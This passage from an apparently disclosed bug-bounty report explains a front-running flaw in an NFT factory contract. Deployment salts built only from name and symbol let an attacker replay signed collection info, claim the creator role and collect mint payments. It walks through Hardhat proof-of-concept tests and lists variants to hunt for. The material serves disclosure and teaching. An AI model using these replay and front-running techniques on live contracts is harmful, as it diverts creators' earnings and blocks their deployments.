An event is a log entry a contract writes when something happens; here it announces the new collection. The first line searches the receipt for the AccessTokenCreated event. The second line asserts it was found. The third and fourth lines pull out the collection's address from the event data. The fifth line checks the address is not the zero address, which would mean nothing was deployed. The next three lines load the deployed collection contract, read its stored parameters, and take the creator field. The last line asserts that the creator is Bob's address, not Alice's.

In the recorded run the collection is deployed at [redacted] and the creator is Bob's address.

Step 3: Alice's produce() reverts

Alice then submits her own transaction with the same info:

JavaScript
await expect(
  factory.connect(alice).produce(accessTokenInfo, ethers.constants.HashZero)
).to.be.revertedWithCustomError(factory, 'TokenAlreadyExists');

expect(...) wraps a call and lets the test check what happens. factory.connect(alice).produce(...) is Alice sending the same collection details. .to.be.revertedWithCustomError(factory, 'TokenAlreadyExists') asserts that the call fails with the named error TokenAlreadyExists. The call reverts, meaning it is cancelled and its changes are undone. Alice loses the gas she spent and cannot deploy her collection.

Step 4: A buyer mints and pays the attacker

Charlie mints from the deployed collection through mintStaticPrice(). Minting means creating a new NFT in the collection. The test builds the mint signature over the receiver, token ID, token URI, whitelist flag and chain ID:

JavaScript
const staticMsg = ethers.utils.solidityKeccak256(
  ['address', 'uint256', 'string', 'bool', 'uint256'],
  [charlie.address, tokenId, tokenUri, whitelisted, chainId]
);

const staticSig = EthCrypto.sign(signer.privateKey, staticMsg);

The first block packs five values into one message: Charlie's address, the token ID, the token URI (a link to the NFT's content), whether the mint is whitelisted, and the chain ID. The list of types in the first array matches the values in the second. The second block signs that message with the signer's key, producing staticSig. This signature proves the platform approved this particular mint.

Then the test calls the mint with the expected price:

JavaScript
const txMint = await nftBob
  .connect(charlie)
  .mintStaticPrice(
    charlie.address,
    paramsArray,
    NATIVE_CURRENCY_ADDRESS,
    expectedMintPrice,
    { value: expectedMintPrice },
  );

nftBob.connect(charlie) means Charlie calls the collection contract. mintStaticPrice takes the receiver (Charlie), the array of mint parameters, the payment token (native ETH), and the expected price. { value: expectedMintPrice } attaches the ETH payment to the call. The expected price is a safety check: if the actual price differs, the call fails rather than charging the wrong amount.

The test snapshots balances before and after, reads the platform commission from the factory, and computes the expected split:

JavaScript
const nftFactoryParams = await factory.nftFactoryParameters();
const platformCommissionBps = nftFactoryParams.platformCommission;

const fees = price.mul(platformCommissionBps).div(10000);
const expectedCreatorShare = price.sub(fees);

const bobActualGain = bobBalanceAfter.sub(bobBalanceBefore);
const aliceGain = aliceBalanceAfter.sub(aliceBalanceBefore);

expect(bobActualGain).to.equal(expectedCreatorShare);
expect(aliceGain).to.equal(0);

The first two lines read the factory's settings and pull out the platform commission in bps. The next two lines compute the platform fee by multiplying the price by the commission and dividing by 10000, then subtract that fee from the price to get the creator's share. The following two lines work out how much Bob and Alice actually gained by subtracting their before-balances from their after-balances. The final two lines assert that Bob gained exactly the creator share and Alice gained nothing.

With a mint price of 0.05 ETH and a commission of 100 bps, the platform fee is 0.0005 ETH and the creator share is 0.0495 ETH. The run shows Bob gaining 0.0495 ETH and Alice gaining 0.0 ETH. Charlie receives token #1, having paid the wrong creator.

Root cause

produce() derives hashedSalt from name and symbol only. That salt drives four things:

  1. the existence check require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());
  2. the deterministic addresses of the royalties receiver and the AccessToken proxy;
  3. the creator field passed into AccessToken.initialize() as msg.sender;
  4. the key under which NftInstanceInfo is stored.

A proxy is a contract that forwards calls to another contract. msg.sender is the account that called the function.

Because the creator address is not part of the salt, the identity of the collection is separated from the identity of its creator. The first caller to present a valid signed AccessTokenInfo for a name and symbol claims that pair permanently. The signature check only proves that the metadata was authorised by the platform signer; it does not tie the deployment to a particular creator, so a third party holding the same signed info can deploy it first.

The payment path then follows the recorded creator. In _pay(), after the platform fee and any referral fee are deducted, the remainder is sent to _parameters.creator, which was set to msg.sender at deployment time. Nothing in the mint path re-checks who the intended creator was.

Impact

An attacker who knows the intended name and symbol of a collection can:

  • become the registered creator and receive the creator share of every mint, and can route royalties to themselves through the royalties receiver;
  • block the legitimate creator, whose produce() reverts with TokenAlreadyExists, costing them gas and preventing deployment;
  • damage the protocol's reputation, since buyers believe they are supporting the original creator.

The report describes this as direct, ongoing financial harm rather than a one-time annoyance, and notes there is no recovery mechanism. The attack requires the attacker to obtain the signed AccessTokenInfo (for example by observing it in the mempool) and to call produce() before the legitimate creator.

Fix

The report does not describe a fix or a change made to the code.

Variants to test

  • Other factory-style deployers. Look for create2 or cloneDeterministic deployments where the salt is built from user-supplied metadata (name, symbol, URI, nonce) but not from the caller. A positive result is a second account deploying the same metadata to a different address, or the first account blocking the second with an existence error.
  • Signature schemes that authorise metadata but not the deployer. Check whether the signed struct includes the creator or a deployer field. If it does not, try replaying the same signed payload from another account. A positive result is a successful deployment by an account that did not sign or request it.
  • Payment routing tied to msg.sender at deploy time. Trace where the creator address is stored and whether any later function lets the original creator reclaim it. A positive result is a mint whose creator share lands with the front-runner.
  • Royalty receiver prediction. Where a royalties receiver is cloned deterministically from the same salt, check whether the front-runner also controls that receiver. A positive result is royalty payments arriving at the attacker's address.

create2 is a way of deploying a contract at an address computed from a salt. cloneDeterministic is a library function that makes a cheap copy of a contract at a deterministic address. A nonce is a counter that makes each deployment unique.

Hunting notes

This class of bug hides in factory and registry contracts that use deterministic deployment for user-created objects. During review, the signals are a salt computed from metadata alone, an existence check keyed on that salt, and a creator or owner field set from msg.sender at deployment. Any place where a signed payload is verified but the signer's intent is not bound to the caller is worth a second look, particularly when the payload is visible in the mempool before it is mined.

To show impact, the researcher built a full end-to-end test: the attacker deploys first, the legitimate creator's transaction reverts with the specific custom error, and a buyer's mint is traced through the payment split to show the creator share arriving at the attacker's balance while the legitimate creator receives nothing.

Glossary

  • NFT: a digital item on a blockchain that can be owned and sold.
  • Collection: a group of NFTs created together by one creator.
  • Smart contract: a program stored on a blockchain that runs automatically.
  • Address: a long string starting with 0x that identifies a contract or account.
  • Blockchain: a shared ledger kept by many computers.
  • Transaction: a request to change something on the blockchain, recorded permanently.
  • Mempool: the holding area where pending transactions wait before being processed.
  • Gas: the fee paid to process a transaction; higher gas usually means faster processing.
  • Front-running: sending a transaction ahead of someone else's by paying more gas after seeing theirs in the mempool.
  • Deterministic deployment: deploying a contract at an address computed from a salt, so the same salt always gives the same address.
  • Salt: a value fed into a formula to produce a fixed, predictable result.
  • Signature: a cryptographic stamp proving a particular key approved some data.
  • Private key: the secret that lets its owner create signatures.
  • Custom error: a named error a contract stops with, such as TokenAlreadyExists.
  • Revert: cancelling a transaction and undoing its changes.
  • bps (basis points): a percentage unit where 10000 bps equals 100%.
  • ETH: the currency of the Ethereum blockchain.
  • Contract URI: a link to information about a collection.
  • Chain ID: a number identifying which blockchain you are on.
  • Event: a log entry a contract writes when something happens.
  • Proxy: a contract that forwards calls to another contract, allowing upgrades.
  • msg.sender: the account that called a function.
  • Royalties: a share of every resale paid to the creator.
  • Royalties receiver: a contract that collects royalty payments.
  • Mint: creating a new NFT in a collection.
  • Token ID: the number identifying one NFT within a collection.
  • Token URI: a link to an NFT's content.
  • Whitelist: a list of accounts allowed to do something, here mint at a special price.
  • Fixture: a prepared starting state for a test.
  • Hardhat: a tool for running and testing smart contracts locally.
  • create2: a way of deploying a contract at an address computed from a salt.
  • cloneDeterministic: a library function that makes a cheap copy of a contract at a deterministic address.
  • Nonce: a counter that makes each deployment unique.
  • Off-chain: happening outside the blockchain, so costing no gas.
  • On-chain: recorded on the blockchain.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.